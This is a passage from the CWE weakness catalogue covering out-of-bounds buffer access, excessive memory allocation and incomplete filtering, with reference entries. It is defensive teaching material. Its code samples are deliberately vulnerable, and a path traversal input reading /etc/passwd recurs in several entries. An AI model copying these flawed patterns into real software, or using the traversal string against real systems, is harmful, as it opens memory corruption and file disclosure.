[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-90]"Buffer UNDERFLOWS: What do you know about it?". Vuln-Dev Mailing List. 2004 January 0. < https://seclists.org/vuln-dev/2004/Jan/22 >.2023-04-07.

[REF-56]Microsoft. "Using the Strsafe.h Functions". < https://learn.microsoft.com/en-us/windows/win32/menurc/strsafe-ovw?redirectedfrom=MSDN >.2023-04-07.

[REF-57]Matt Messier and John Viega. "Safe C String Library v1.0.3". < http://www.gnu-darwin.org/www001/ports-1.5a-CURRENT/devel/safestr/work/safestr-1.0.3/doc/safestr.html >.2023-04-07.

[REF-58]Michael Howard. "Address Space Layout Randomization in Windows Vista". < https://learn.microsoft.com/en-us/archive/blogs/michael_howard/address-space-layout-randomization-in-windows-vista >.2023-04-07.

[REF-60]"PaX". < https://en.wikipedia.org/wiki/Executable_space_protection#PaX >.2023-04-07.

[REF-61]Microsoft. "Understanding DEP as a mitigation technology part 1". < https://msrc.microsoft.com/blog/2009/06/understanding-dep-as-a-mitigation-technology-part-1/ >.2023-04-07.

[REF-64]Grant Murphy. "Position Independent Executables (PIE)". 2012 November 8. Red Hat. < https://www.redhat.com/en/blog/position-independent-executables-pie >.2023-04-07.

[REF-1332]John Richard Moser. "Prelink and address space randomization". 2006 July 5. < https://lwn.net/Articles/190139/ >.2023-04-26.

[REF-1333]Dmitry Evtyushkin, Dmitry Ponomarev, Nael Abu-Ghazaleh. "Jump Over ASLR: Attacking Branch Predictors to Bypass ASLR". 2016. < http://www.cs.ucr.edu/~nael/pubs/micro16.pdf >.2023-04-26.

[REF-1334]D3FEND. "Stack Frame Canary Validation (D3-SFCV)". 2023. < https://d3fend.mitre.org/technique/d3f:StackFrameCanaryValidation/ >.2023-04-26.

[REF-1335]D3FEND. "Segment Address Offset Randomization (D3-SAOR)". 2023. < https://d3fend.mitre.org/technique/d3f:SegmentAddressOffsetRandomization/ >.2023-04-26.

[REF-1336]D3FEND. "Process Segment Execution Prevention (D3-PSEP)". 2023. < https://d3fend.mitre.org/technique/d3f:ProcessSegmentExecutionPrevention/ >.2023-04-26.

[REF-1337]Alexander Sotirov and Mark Dowd. "Bypassing Browser Memory Protections: Setting back browser security by 10 years". 2008. < https://www.blackhat.com/presentations/bh-usa-08/Sotirov_Dowd/bh08-sotirov-dowd.pdf >.2023-04-26.

CWE-788: Access of Memory Location After End of Buffer

Weakness ID : 788
Structure : Simple
Abstraction : Base

Description

The product reads or writes to a buffer using an index or pointer that references a memory location after the end of the buffer.

Extended Description

This typically occurs when a pointer or its index is incremented to a position after the buffer; or when pointer arithmetic results in a position after the buffer.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	293
ParentOf	V	121	Stack-based Buffer Overflow	314
ParentOf	V	122	Heap-based Buffer Overflow	318
ParentOf	V	126	Buffer Over-read	334

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	293

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	293

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1218	Memory Buffer Errors	2479

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory *For an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.*	
Integrity Availability	Modify Memory DoS: Crash, Exit, or Restart *Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.*	
Integrity	Modify Memory Execute Unauthorized Code or Commands *If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow. If the attacker can overwrite a pointer's worth of memory (usually 32 or 64*	

Scope	Impact	Likelihood
	bits), they can redirect a function pointer to their own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.	

Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness = High

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Demonstrative Examples

Example 1:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

Example Language: C *(Bad)*

```
void host_lookup(char *user_supplied_addr){
  struct hostent *hp;
  in_addr_t *addr;
  char hostname[64];
  in_addr_t inet_addr(const char *cp);
  /*routine that ensures user_supplied_addr is in the right format for conversion */
  validate_addr_form(user_supplied_addr);
  addr = inet_addr(user_supplied_addr);
  hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
  strcpy(hostname, hp->h_name);
}
```

This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

Example 2:

In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

Example Language: C *(Bad)*

```
int returnChunkSize(void *) {
  /* if chunk info is valid, return the size of usable memory,
  * else, return -1 to indicate an error
  */
  ...
}
int main() {
  ...
  memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
  ...
}
```

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

Example 3:

This example applies an encoding procedure to an input string and stores it into a buffer.

Example Language: C *(Bad)*

```
char * copy_input(char *user_supplied_string){
  int i, dst_index;
  char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
  if ( MAX_SIZE <= strlen(user_supplied_string) ){
    die("user string too long, die evil hacker!");
  }
  dst_index = 0;
  for ( i = 0; i < strlen(user_supplied_string); i++ ){
    if( '&' == user_supplied_string[i] ){
      dst_buf[dst_index++] = '&';
      dst_buf[dst_index++] = 'a';
      dst_buf[dst_index++] = 'm';
      dst_buf[dst_index++] = 'p';
      dst_buf[dst_index++] = ';';
    }
    else if ('<' == user_supplied_string[i] ){
      /* encode to &lt; */
    }
    else dst_buf[dst_index++] = user_supplied_string[i];
  }
  return dst_buf;
}
```

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

Example 4:

In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

Example Language: C *(Bad)*

```
int processMessageFromSocket(int socket) {
  int success;
  char buffer[BUFFER_SIZE];
  char message[MESSAGE_SIZE];
  // get message from socket and store into buffer
  //Ignoring possibliity that buffer > BUFFER_SIZE
  if (getMessage(socket, buffer, BUFFER_SIZE) > 0) {
    // place contents of the buffer into message structure
    ExMessage *msg = recastBuffer(buffer);
    // copy message body into string for processing
    int index;
    for (index = 0; index < msg->msgLength; index++) {
      message[index] = msg->msgBody[index];
    }
    message[index] = '\0';
    // process message
    success = processMessage(message);
  }
  return success;
}
```

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of the message body (CWE-606). This can result in a buffer over-read (CWE-125) by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

Observed Examples

Reference	Description
CVE-2009-2550	Classic stack-based buffer overflow in media player using a long entry in a playlist *https://www.cve.org/CVERecord?id=CVE-2009-2550*
CVE-2009-2403	Heap-based buffer overflow in media player using a long entry in a playlist *https://www.cve.org/CVERecord?id=CVE-2009-2403*
CVE-2009-0689	large precision value in a format string triggers overflow *https://www.cve.org/CVERecord?id=CVE-2009-0689*
CVE-2009-0558	attacker-controlled array index leads to code execution *https://www.cve.org/CVERecord?id=CVE-2009-0558*
CVE-2008-4113	OS kernel trusts userland-supplied length value, allowing reading of sensitive information *https://www.cve.org/CVERecord?id=CVE-2008-4113*
CVE-2007-4268	Chain: integer signedness error (CWE-195) passes signed comparison, leading to heap overflow (CWE-122) *https://www.cve.org/CVERecord?id=CVE-2007-4268*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	1129	CISQ Quality Measures (2016) - Reliability	1128	2440
MemberOf	C	1399	Comprehensive Categorization: Memory Safety	1400	2525

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-CWE-788		

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

CWE-789: Memory Allocation with Excessive Size Value

Weakness ID : 789
Structure : Simple
Abstraction : Variant

Description

The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	770	Allocation of Resources Without Limits or Throttling	1613
PeerOf	B	1325	Improperly Controlled Sequential Memory Allocation	2210
CanFollow	V	129	Improper Validation of Array Index	341
CanFollow	B	1284	Improper Validation of Specified Quantity in Input	2130
CanPrecede	B	476	NULL Pointer Dereference	1132

Weakness Ordinalities

Primary :

Resultant :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Not Language-Specific *(Prevalence = Undetermined)*

Alternate Terms

Stack Exhaustion : When a weakness allocates excessive memory on the stack, it is often described as "stack exhaustion," which is a technical impact of the weakness. This technical impact is often encountered as a consequence of CWE-789 and/or CWE-1325.

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Memory) *Not controlling memory allocation can result in a request for too much system memory, possibly leading to a crash of the application due to out-of-memory conditions, or the consumption of a large amount of memory on the system.*	

Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness = High

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Phase: Architecture and Design

Perform adequate input validation against any value that influences the amount of memory that is allocated. Define an appropriate strategy for handling requests that exceed the limit, and consider supporting a configuration option so that the administrator can extend the amount of memory to be used if necessary.

Phase: Operation

Run your program using system-provided resource limits for memory. This might still cause the program to crash or exit, but the impact to the rest of the system will be minimized.

Demonstrative Examples

Example 1:

Consider the following code, which accepts an untrusted size value and allocates a buffer to contain a string of the given size.

Example Language: C *(Bad)*

```
unsigned int size = GetUntrustedInt();
/* ignore integer overflow (CWE-190) for this example */
unsigned int totBytes = size * sizeof(char);
char *string = (char *)malloc(totBytes);
InitializeString(string);
```

Suppose an attacker provides a size value of:

12345678

This will cause 305,419,896 bytes (over 291 megabytes) to be allocated for the string.

Example 2:

Consider the following code, which accepts an untrusted size value and uses the size as an initial capacity for a HashMap.

Example Language: Java *(Bad)*

```
unsigned int size = GetUntrustedInt();
```

```
HashMap list = new HashMap(size);
```

The HashMap constructor will verify that the initial capacity is not negative, however there is no check in place to verify that sufficient memory is present. If the attacker provides a large enough value, the application will run into an OutOfMemoryError.

Example 3:

This code performs a stack allocation based on a length calculation.

Example Language: C *(Bad)*

```
int a = 5, b = 6;
size_t len = a - b;
char buf[len]; // Just blows up the stack
}
```

Since a and b are declared as signed ints, the "a - b" subtraction gives a negative result (-1). However, since len is declared to be unsigned, len is cast to an extremely large positive number (on 32-bit systems - 4294967295). As a result, the buffer buf[len] declaration uses an extremely large size to allocate on the stack, very likely more than the entire computer's memory space.

Miscalculations usually will not be so obvious. The calculation will either be complicated or the result of an attacker's input to attain the negative value.

Example 4:

This example shows a typical attempt to parse a string with an error resulting from a difference in assumptions between the caller to a function and the function's action.

Example Language: C *(Bad)*

```
int proc_msg(char *s, int msg_len)
{
// Note space at the end of the string - assume all strings have preamble with space
int pre_len = sizeof("preamble: ");
char buf[pre_len - msg_len];
... Do processing here if we get this far
}
char *s = "preamble: message\n";
char *sl = strchr(s, ':'); // Number of characters up to ':' (not including space)
int jnklen = sl == NULL ? 0 : sl - s; // If undefined pointer, use zero length
int ret_val = proc_msg ("s", jnklen); // Violate assumption of preamble length, end up with negative value, blow out stack
```

The buffer length ends up being -1, resulting in a blown out stack. The space character after the colon is included in the function calculation, but not in the caller's calculation. This, unfortunately, is not usually so obvious but exists in an obtuse series of calculations.

Example 5:

The following code obtains an untrusted number that is used as an index into an array of messages.

Example Language: Perl *(Bad)*

```
my $num = GetUntrustedNumber();
my @messages = ();
$messages[$num] = "Hello World";
```

The index is not validated at all (CWE-129), so it might be possible for an attacker to modify an element in @messages that was not intended. If an index is used that is larger than the current size of the array, the Perl interpreter automatically expands the array so that the large index works.

If $num is a large value such as 2147483648 (1<<31), then the assignment to $messages[$num] would attempt to create a very large array, then eventually produce an error message such as:

Out of memory during array extend

This memory exhaustion will cause the Perl program to exit, possibly a denial of service. In addition, the lack of memory could also prevent many other programs from successfully running on the system.

Example 6:

This example shows a typical attempt to parse a string with an error resulting from a difference in assumptions between the caller to a function and the function's action. The buffer length ends up being -1 resulting in a blown out stack. The space character after the colon is included in the function calculation, but not in the caller's calculation. This, unfortunately, is not usually so obvious but exists in an obtuse series of calculations.

Example Language: C *(Bad)*

```
int proc_msg(char *s, int msg_len)
{
  int pre_len = sizeof("preamble: "); // Note space at the end of the string - assume all strings have preamble with space
  char buf[pre_len - msg_len];
  ... Do processing here and set status
  return status;
}
char *s = "preamble: message\n";
char *sl = strchr(s, ':'); // Number of characters up to ':' (not including space)
int jnklen = sl == NULL ? 0 : sl - s; // If undefined pointer, use zero length
int ret_val = proc_msg ("s", jnklen); // Violate assumption of preamble length, end up with negative value, blow out stack
```

Example Language: C *(Good)*

```
int proc_msg(char *s, int msg_len)
{
  int pre_len = sizeof("preamble: "); // Note space at the end of the string - assume all strings have preamble with space
  if (pre_len <= msg_len) { // Log error; return error_code; }
  char buf[pre_len - msg_len];
  ... Do processing here and set status
  return status;
}
char *s = "preamble: message\n";
char *sl = strchr(s, ':'); // Number of characters up to ':' (not including space)
int jnklen = sl == NULL ? 0 : sl - s; // If undefined pointer, use zero length
int ret_val = proc_msg ("s", jnklen); // Violate assumption of preamble length, end up with negative value, blow out stack
```

Observed Examples

Reference	Description
CVE-2022-21668	Chain: Python library does not limit the resources used to process images that specify a very large number of bands (CWE-1284), leading to excessive memory consumption (CWE-789) or an integer overflow (CWE-190). *https://www.cve.org/CVERecord?id=CVE-2022-21668*
CVE-2010-3701	program uses ::alloca() for encoding messages, but large messages trigger segfault *https://www.cve.org/CVERecord?id=CVE-2010-3701*
CVE-2008-1708	memory consumption and daemon exit by specifying a large value in a length field *https://www.cve.org/CVERecord?id=CVE-2008-1708*
CVE-2008-0977	large value in a length field leads to memory consumption and crash when no more memory is available *https://www.cve.org/CVERecord?id=CVE-2008-0977*

Reference	Description
CVE-2006-3791	large key size in game program triggers crash when a resizing function cannot allocate enough memory *https://www.cve.org/CVERecord?id=CVE-2006-3791*
CVE-2004-2589	large Content-Length HTTP header value triggers application crash in instant messaging application due to failure in memory allocation *https://www.cve.org/CVERecord?id=CVE-2004-2589*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1131	CISQ Quality Measures (2016) - Security	1128	2442
MemberOf	C	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	2458
MemberOf	C	1179	SEI CERT Perl Coding Standard - Guidelines 01. Input Validation and Data Sanitization (IDS)	1178	2465
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2485
MemberOf	C	1399	Comprehensive Categorization: Memory Safety	1400	2525

Notes

Relationship

This weakness can be closely associated with integer overflows (CWE-190). Integer overflow attacks would concentrate on providing an extremely large number that triggers an overflow that causes less memory to be allocated than expected. By providing a large value that does not trigger an integer overflow, the attacker could still cause excessive amounts of memory to be allocated.

Applicable Platform

Uncontrolled memory allocation is possible in many languages, such as dynamic array allocation in perl or initial size parameters in Collections in Java. However, languages like C and C++ where programmers have the power to more directly control memory management will be more susceptible.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	35		SOAP Array Abuse
CERT C Secure Coding	MEM35-C	Imprecise	Allocate sufficient memory for an object
SEI CERT Perl Coding Standard	IDS32-PL	Imprecise	Validate any integer that is used as an array index
OMG ASCSM	ASCSM-CWE-789		

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < http://www.omg.org/spec/ASCSM/1.0/ >.

CWE-790: Improper Filtering of Special Elements

Weakness ID : 790
Structure : Simple
Abstraction : Class

Description

The product receives data from an upstream component, but does not filter or incorrectly filters special elements before sending it to a downstream component.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	138	Improper Neutralization of Special Elements	373
ParentOf	B	791	Incomplete Filtering of Special Elements	1680

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	2433

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Demonstrative Examples

Example 1:

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl *(Bad)*

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.\///;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

Example Language: *(Attack)*

```
../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Example Language: *(Result)*

```
../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language: *(Result)*

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1407	Comprehensive Categorization: Improper Neutralization	1400	2532

CWE-791: Incomplete Filtering of Special Elements

Weakness ID : 791
Structure : Simple
Abstraction : Base

Description

The product receives data from an upstream component, but does not completely filter special elements before sending it to a downstream component.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	790	Improper Filtering of Special Elements	1678
ParentOf	V	792	Incomplete Filtering of One or More Instances of Special Elements	1681
ParentOf	B	795	Only Filtering Special Elements at a Specified Location	1685

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	2433

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	2311

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Demonstrative Examples

Example 1:

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl *(Bad)*

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.\///;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

Example Language: *(Attack)*

```
../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Example Language: *(Result)*

```
../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language: *(Result)*

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1407	Comprehensive Categorization: Improper Neutralization	1400	2532

CWE-792: Incomplete Filtering of One or More Instances of Special Elements

Weakness ID : 792
Structure : Simple
Abstraction : Variant

Description

The product receives data from an upstream component, but does not completely filter one or more instances of special elements before sending it to a downstream component.

Extended Description

Incomplete filtering of this nature involves either:

- only filtering a single instance of a special element when more exist, or
- not filtering all instances or all elements where multiple special elements exist.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	791	Incomplete Filtering of Special Elements	1680
ParentOf	V	793	Only Filtering One Instance of a Special Element	1683
ParentOf	V	794	Incomplete Filtering of Multiple Instances of Special Elements	1684

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	2433

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Demonstrative Examples

Example 1:

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl *(Bad)*

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.\///;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

Example Language: *(Attack)*

```
../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Example Language: *(Result)*

```
../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language: *(Result)*

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1407	Comprehensive Categorization: Improper Neutralization	1400	2532

CWE-793: Only Filtering One Instance of a Special Element

Weakness ID : 793
Structure : Simple
Abstraction : Variant

Description

The product receives data from an upstream component, but only filters a single instance of a special element before sending it to a downstream component.

Extended Description

Incomplete filtering of this nature may be location-dependent, as in only the first or last element is filtered.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	792	Incomplete Filtering of One or More Instances of Special Elements	1681

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	2433

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Demonstrative Examples

Example 1:

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl *(Bad)*

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.\///;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

Example Language: *(Attack)*

```
../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Example Language: *(Result)*

```
../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language: *(Result)*

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1407	Comprehensive Categorization: Improper Neutralization	1400	2532

CWE-794: Incomplete Filtering of Multiple Instances of Special Elements

Weakness ID : 794
Structure : Simple
Abstraction : Variant

Description

The product receives data from an upstream component, but does not filter all instances of a special element before sending it to a downstream component.

Extended Description

Incomplete filtering of this nature may be applied to:

- sequential elements (special elements that appear next to each other) or
- non-sequential elements (special elements that appear multiple times in different locations).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	792	Incomplete Filtering of One or More Instances of Special Elements	1681

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	2433

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Demonstrative Examples

Example 1:

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl *(Bad)*

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.\///;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

Example Language: *(Attack)*

```
../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Example Language: *(Result)*

```
../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language: *(Result)*

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1407	Comprehensive Categorization: Improper Neutralization	1400	2532

CWE-795: Only Filtering Special Elements at a Specified Location

Weakness ID : 795
Structure : Simple
Abstraction : Base

Description

The product receives data from an upstream component, but only accounts for special elements at a specified location, thereby missing remaining special elements that may exist before sending it to a downstream component.

Extended Description

A filter might only account for instances of special elements when they occur:

- relative to a marker (e.g. "at the beginning/end of string; the second argument"), or
